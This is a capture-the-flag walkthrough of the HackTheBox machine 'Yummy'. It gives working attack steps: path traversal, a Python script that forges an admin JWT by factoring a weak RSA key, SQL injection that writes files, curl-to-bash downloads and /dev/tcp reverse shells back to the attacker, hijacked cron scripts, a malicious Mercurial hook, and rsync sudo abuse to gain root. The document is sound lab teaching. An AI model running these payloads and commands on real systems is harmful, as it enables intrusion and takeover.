HackTheBox: Yummy
Yummy is a hard-rated HackTheBox machine where we exploit a vulnerable web application to perform session hijacking, file disclosure, and SQL injection, gaining initial access. Once inside, we take advantage of misconfigurations, which allow us to escalate privileges laterally before ultimately achieving root access.
Enumeration
Nmap Scan
Doing an nmap
on the IP provided.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ cat nmap.out
# Nmap 7.94SVN scan initiated Sat Oct 5 23:19:58 2024 as: nmap -sC -sV -T4 -oN nmap.out -vv 10.129.30.107
Nmap scan report for 10.129.30.107
Host is up, received syn-ack (0.075s latency).
Scanned at 2024-10-05 23:20:03 CET for 12s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
| 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open http syn-ack Caddy httpd
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 5 23:20:15 2024 -- 1 IP address (1 host up) scanned in 17.00 seconds
Looking at the results we have 2 ports open.
- 22/SSH OpenSSH - open
- 80/HTTP Caddy httpd - open
Web Application - 80
Adding the hostname to our /etc/hosts
we could visit and take a look at http://10.129.30.107/
we get a restaurant website.
First thing we did is to create a random account and try and log in. Once in, we could book a table and we need to make sure to enter the same email address we used to sign in.
Going to Dashboard we now see our reservation with the possibility to either cancel it or “Save iCalendar”
Clicking on Save iCalendar a .ics
file got downloaded for us with this content:
1
2
3
4
5
6
7
8
9
10
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: test@test.com\nNumber of People: 5\nMessage: Booking a Table
DTSTART:20241008T000000Z
SUMMARY:7eleven
UID:e08ba44c-b81a-4e9a-8e1c-edd655f1a3b2@e08b.org
END:VEVENT
END:VCALENDAR
Exploitation
Initial Foothold
Turning on Burpsuite to see what’s happening exactly we see two requests being sent once we click on Save iCalendar, one being to /reminder/21
forwarding that we get a GET request to /export/Yummy_reservation_20241007_091042.ics
and that’s what is downloading the file for us.
So we tried to manipulate those requests and we got a File Traversal vulnerability where we could download system files, first thing we tried to download was /etc/passwd
by forwarding the 2nd request to /export/../../../../../etc/passwd
instead of /export/Yummy_reservation_20241007_091042.ics
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
Looking for a while we found somethings interesting in /etc/crontab
.
Note: If the reservation is expired you can make another one
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
Looking through the app_backup.sh
file we found the source code of the web app.
1
2
3
4
5
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
After downloading that backupapp.zip
we found an interesting endpoint within the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
validation = validate_login()
if validation != "administrator":
return redirect(url_for('login'))
try:
connection = pymysql.connect(**db_config)
with connection.cursor() as cursor:
sql = "SELECT * from appointments"
cursor.execute(sql)
connection.commit()
appointments = cursor.fetchall()
search_query = request.args.get('s', '')
# added option to order the reservations
order_query = request.args.get('o', '')
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
connection.close()
return render_template('admindashboard.html', appointments=appointments)
except Exception as e:
flash(str(e), 'error')
return render_template('admindashboard.html', appointments=appointments)
We can see a potential SQLi in the SELECT query, more precisely, at the order by.
1
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
But before that, we need a way to access that end point since it’s checking our session token and that’s by creating ourselves a new JWT token where we have a role
claim set as administrator. And here is a python script that will help us doing it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
jwt_token = "YOUR_JWT_TOKEN"
def apply_padding(encoded_str):
while len(encoded_str) % 4 != 0:
encoded_str += '='
return encoded_str
def decode_base64_url(input_str):
input_str = apply_padding(input_str)
input_str = input_str.replace('-', '+').replace('_', '/')
return base64.b64decode(input_str)
# Parse and decode the JWT payload
decoded_payload = json.loads(decode_base64_url(jwt_token.split(".")[1]).decode())
modulus_n = int(decoded_payload["jwk"]['n'])
prime_p, prime_q = list((sympy.factorint(modulus_n)).keys())
public_exp = 65537
totient_n = (prime_p - 1) * (prime_q - 1)
private_exp = pow(public_exp, -1, totient_n)
rsa_key_data = {'n': modulus_n, 'e': public_exp, 'd': private_exp, 'p': prime_p, 'q': prime_q}
rsa_key = RSA.construct((rsa_key_data['n'], rsa_key_data['e'], rsa_key_data['d'], rsa_key_data['p'], rsa_key_data['q']))
pem_private_key = rsa_key.export_key()
# Load private key
loaded_private_key = serialization.load_pem_private_key(
pem_private_key,
password=None,
backend=default_backend()
)
rsa_public_key = loaded_private_key.public_key()
# Decode JWT, modify role, and re-encode
decoded_jwt_data = jwt.decode(jwt_token, rsa_public_key, algorithms=["RS256"])
decoded_jwt_data["role"] = "administrator"
# Generate new JWT
updated_token = jwt.encode(decoded_jwt_data, loaded_private_key, algorithm="RS256")
print(updated_token)
Let’s breakout the python script and try to understand it.
- apply_padding(encoded_str) :
- Ensures the base64 URL string is properly padded to a multiple of 4 characters. Base64 encoding requires its output to be divisible by 4. Sometimes JWT tokens or other base64 strings may not have proper padding (
=
), so this function adds it.
- Ensures the base64 URL string is properly padded to a multiple of 4 characters. Base64 encoding requires its output to be divisible by 4. Sometimes JWT tokens or other base64 strings may not have proper padding (
- decode_base64_url(input_str) :
- Decodes a base64 URL-encoded string into its original form. JWT tokens are base64 URL-encoded. To extract information from the token (like the payload), we need to first decode it.
- Decoding and Extracting RSA parameters :
- We first start by extracting and decoding the JWT token’s payload, which contains a JSON Web Key (JWK) with a modulus
n
. This modulus is factorized into its prime componentsp
andq
, which are used to compute the private key. Specifically, after obtainingp
andq
, the RSA algorithm is applied to calculate the private exponentd
using the public exponente = 65537
and the totient (ϕ) of n. With these values, we constructed our RSA Private Key from which a Public Key will be extracted and used to sign the JWT token.
- We first start by extracting and decoding the JWT token’s payload, which contains a JSON Web Key (JWK) with a modulus
- Decoding, Modifying and Rencoding the JWT:
- We first start by decoding the JWT token in order to modify the
role
claim to administrator and then rencode it and print it for us to set it as our JWT session cookie.
- We first start by decoding the JWT token in order to modify the
Now that we understood what the script does let’s make use of it. We just need to replace YOUR_JWT_TOKEN
with ours (Inspect
> Storage
), once extracted, handed to the script and execute it we got the session key we need to use.
1
2
3
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ python3 gtoken.py
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAdGVzdC5jb20iLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODI5MTczNCwiZXhwIjoxNzI4Mjk1MzM0LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjEyODY3MzE1NzMxOTEzNDkzMDU0NDI4ODUxMjYzNDk4Njg4NjE4MTA1OTA5NTc4NDMyMzg3NjY3Nzc2NDIwMjg2ODIxMzg1ODAxMDIzMDQwNTA2MDAwOTkxNjAyMzEyMzYwOTE5ODc4ODMzNDI3NzMwMzM3Njg4NDY2OTgxNDQ3MjcxMTY3Nzc0NzYyNDA4NDU3NDY1MjA5NTE2MjgzNDg2NzU5NTMzNTE4OTkwNTcyNTY2NTk3MDI2MzU1MTczMTE5NzU5ODM4OTEzNDQxNzk2NjA3Nzc1Njg3MTYwNzM1MzgxMzA3NzY5MTYwODI3NDU1NzgzMjMwODgwNjg0MTMzNzg5Njg2MTc3NTA4NDM0MDM2MTQzNTcxMjUwMzI2NDMzMzI5ODQ3NTc1NjcwMTc3NjkxOTI2NjAzOSIsImUiOjY1NTM3fX0.B37YaPRzakhgCeuM8b2dqIMsdZnBlyY7aM7cTLeM6Pw7RSpn1VI8ZZAYsvBiG44JaomzcbUqzbDwqVunW0SFm_isZTJ5obaQ3k5q9Q7wskwfzwb2CJHLMbo5u6UOyAWDKkLU2ZISWiHr4IbCCGcAcNYcmZ14oYpLSxng5S2AwCZxm8k
Looking at http://yummy.htb/admindashboard
we get a list of reservations.
As we said earlier, the search query is vulnerable to SQLi but fetching the databases won’t help us much as we won’t find anything interesting. Looking at the crontab again we see a script being ran by MySQL
called dbmonitor.sh
taking a look at that we get the following code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
Looking at the bash script we see a potential vulnerability. Basically here what’s happening is that the script is checking whether the mysql server is up or not which, in our case, it is. Now it checks whether the /data/scripts/dbstatus.json
file contains the string database is down
or not if it does not it looks for all fixer-v* files under /data/scripts
and then executes the latest.
All we need to do is to write something inside the dbstatus.json
and then write our reverse shell payload inside of fixer-v
through an SQLi payload.
- Writing to the
dbstatus.json
:
1
http://yummy.htb/admindashboard?s=test&o=ASC%3b+select+"test"+INTO+OUTFILE+'/data/scripts/dbstatus.json'%3b
- Writing to
fixer-v
our rev shell payload:
We first need to create a reverse.sh
file with the following content
1
2
3
#!/bin/bash
/bin/bash -i >& /dev/tcp/YOUR_IP/9001 0>&1
and host a python web server at the same place where we created our reverse.sh
1
2
3
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Once done, starting our nc session using nc -lnvp 9001
and now we can CURL
or visit the following link
1
http://yummy.htb/admindashboard?s=test&o=ASC%3b+select+"curl+YOUR_IP/reverse.sh+|bash%3b"+INTO+OUTFILE+'/data/scripts/fixer-v'+%3b
Now we need to wait for a bit for the cronjob to hit and we get our shell!
Note: If you don’t just resend the GET requests by revisiting the URLs as there is a script on the box removing the created files after a while
1
2
3
4
5
6
7
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.162.161] 52456
bash: cannot set terminal process group (22295): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$
Lateral Movement - www-data
Once on the box, we started looking for any lateral movements vectors. One of the jobs running is run by www-data (the backup process from earlier) which executes the app_backup.sh
under /data/scripts/
but looking at that directory we see that we have the permission to read,write and execute so we can modify it and get a shell as www-data.
1
2
3
4
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ echo '/bin/bash -i >& /dev/tcp/YOUR_IP/8001 0>&1' > /data/scripts/app_backup.sh
Setting up a netcat listener we got a shell!
1
2
3
4
5
6
7
┌──(str4ngerx㉿voldemort)-[~/Desktop/HackTheBox/yummy]
└─$ nc -lnvp 8001
listening on [any] 8001 ...
connect to [10.10.14.79] from (UNKNOWN) [10.129.162.161] 51966
bash: cannot set terminal process group (22592): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:/root$
Lateral Movement - QA
After looking for a while we found a app-qatesting
under /var/www
which have a .hg
directory which is a Mercurial’s directory (Similar to Git).
Looking through the files we found some credentials at /var/www/app-qatesting/.hg/store/data/app.py.i
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@yummy:/root$ strings /var/www/app-qatesting/.hg/store/data/app.py.i
strings /var/www/app-qatesting/.hg/store/data/app.py.i
[...]
'app.secret_key = s.token_hex(32)
T sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
#md5
9 'user': 'chef',
'password': '[REDACTED]',
V([Q
>GQ$
6 'user': 'qa',
'password': '[REDACTED]',
Lateral Movement - Dev
Looking through the sudo permission we get an interesting one.
1
2
3
4
5
6
7
8
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
For us to get a shell as Dev
we need to abuse that sudo permission, more specifically, leverage Mercurial’s hooks feature to execute arbitrary commands and get a shell.
1
2
3
4
5
6
qa@yummy:~$ mkdir /tmp/exploit-hg
qa@yummy:~$ hg init /tmp/exploit-hg
qa@yummy:~$ echo "[hooks]" > /tmp/exploit-hg/.hg/hgrc
qa@yummy:~$ echo "changegroup = /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.79/7001 0>&1'" >> /tmp/exploit-hg/.hg/hgrc
qa@yummy:~$ chmod -R 777 /tmp/exploit-hg
qa@yummy:~$ cd /tmp/exploit-hg/
and now we need to make netcat session to catch the rev shell and pull as dev using:
1
qa@yummy:/tmp/exploit-hg$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
And we got our shell!
Privilege Escalation - as Root
Looking again through our sudo permissions.
1
2
3
4
5
6
7
8
dev@yummy:/tmp/exploit-hg$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
So here, the vulnerability lies within the asterisk (*) in the sudo permission which we can use to add more options. Having that in mind we decided to set an suid on /bin/bash
using this command and it worked!
1
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ && /opt/app/bash -p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dev@yummy:/tmp/exploit-hg$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ && /opt/app/bash -p
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../../../../bin/bash --chmod=+s /opt/app/ && /opt/app/bash -p
id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
cd /root
ls -la
total 36
drwx------ 6 root root 4096 Oct 7 00:56 .
drwxr-xr-x 24 root root 4096 Sep 30 08:16 ..
lrwxrwxrwx 1 root root 9 May 15 13:12 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22 13:04 .bashrc
drwx------ 2 root root 4096 Sep 30 10:05 .cache
drwxr-xr-x 3 root root 4096 Sep 30 08:16 .local
-rw-r--r-- 1 root root 161 Apr 22 13:04 .profile
-rw-r----- 1 root root 33 Oct 7 00:56 root.txt
drwxr-xr-x 2 root root 4096 Sep 30 08:16 scripts
drwx------ 2 root root 4096 Sep 30 08:16 .ssh
And with that, we successfully pwned the box!